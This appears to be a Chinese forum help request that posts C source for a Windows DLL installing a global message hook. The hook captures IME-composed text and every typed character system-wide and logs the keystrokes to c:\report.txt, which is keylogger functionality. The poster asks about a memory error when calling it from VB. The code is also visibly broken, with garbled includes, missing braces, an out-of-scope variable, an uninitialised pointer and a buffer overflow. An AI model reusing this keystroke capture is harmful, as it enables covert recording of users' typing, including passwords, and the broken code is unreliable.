#i nclude "windows.h" 
#i nclude "imm.h" 
#i nclude "stdio.h" #define HOOK_API __declspec(dllexport) HHOOK        g_hHook            = NULL;        //hook句柄 
HINSTANCE    g_hHinstance    = NULL;        //程序句柄 LPSTR ss;
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) 
{    
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); 
    PMSG pmsg = (PMSG)lParam; 
    if (nCode == HC_ACTION) 
    { 
        
        switch (pmsg->message) 
        { 
        case WM_IME_COMPOSITION: 
            { 
                HIMC hIMC; 
                HWND hWnd=pmsg->hwnd; 
                DWORD dwSize; 
                char ch; 
                char lpstr[20]; 
                if(pmsg->lParam & GCS_RESULTSTR) 
                { 
                    //先获取当前正在输入的窗口的输入法句柄 
                    hIMC = ImmGetContext(hWnd); 
                    if (!hIMC) 
                    { 
                        MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK); 
                    }                     // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. 
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);                     // 缓冲区大小要加上字符串的NULL结束符大小, 
                    //  考虑到UNICODE 
                    dwSize += sizeof(WCHAR);                     memset(lpstr, 0, 20);                     // 再调用一次.ImmGetCompositionString获取字符串 
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);                     //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件... 
                    MessageBox(NULL, lpstr, lpstr, MB_OK); 
                       strcpy(ss,lpstr);
                    ImmReleaseContext(hWnd, hIMC); 
                } 
            } 
            break; 
        case WM_CHAR:  //截获发向焦点窗口的键盘消息 
            { 
                FILE* f1; 
                f1=fopen("c:\\report.txt","a+"); 
                ch=(char)(pmsg->wParam); 
                fwrite(&ch,1,1,f1); 
                fclose(f1);    
            } 
            break; 
        } 
    }     return(lResult); 
} HOOK_API BOOL InstallHook(LPSTR b) 

    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); 
    strcpy(b,ss);
    return TRUE; 
} HOOK_API BOOL UnHook() 
{      
    return UnhookWindowsHookEx(g_hHook); 
} BOOL APIENTRY DllMain( HANDLE hModule, 
                      DWORD  ul_reason_for_call, 
                      LPVOID lpReserved 
                    ) 

    switch (ul_reason_for_call) 
    { 
    case DLL_PROCESS_ATTACH: 
        g_hHinstance=hModule; 
        break; 
    case DLL_THREAD_ATTACH: 
        break; 
    case DLL_THREAD_DETACH: 
        break; 
    case DLL_PROCESS_DETACH: 
        UnHook(); 
        break; 
    } 
    return TRUE; 
} ///////////////////////////////////////// 
hool.def模块: 
///////////////////////////////////////// 
LIBRARY    HOOK EXPORTS 
    InstallHook 
    UnHook ////////////////////////////////////一下是vb调用///////////////////
Private Declare Function InstallHook Lib "hook.dll" (ByVal sq As String) As Long
Private Declare Function UnHook Lib "hook.dll" () As LongPublic s As String
////////////////一下是调////////////
InstallHook(s)为什么这样调用老提示内存不能读错误。vb调用c做的dll,应如何传递参数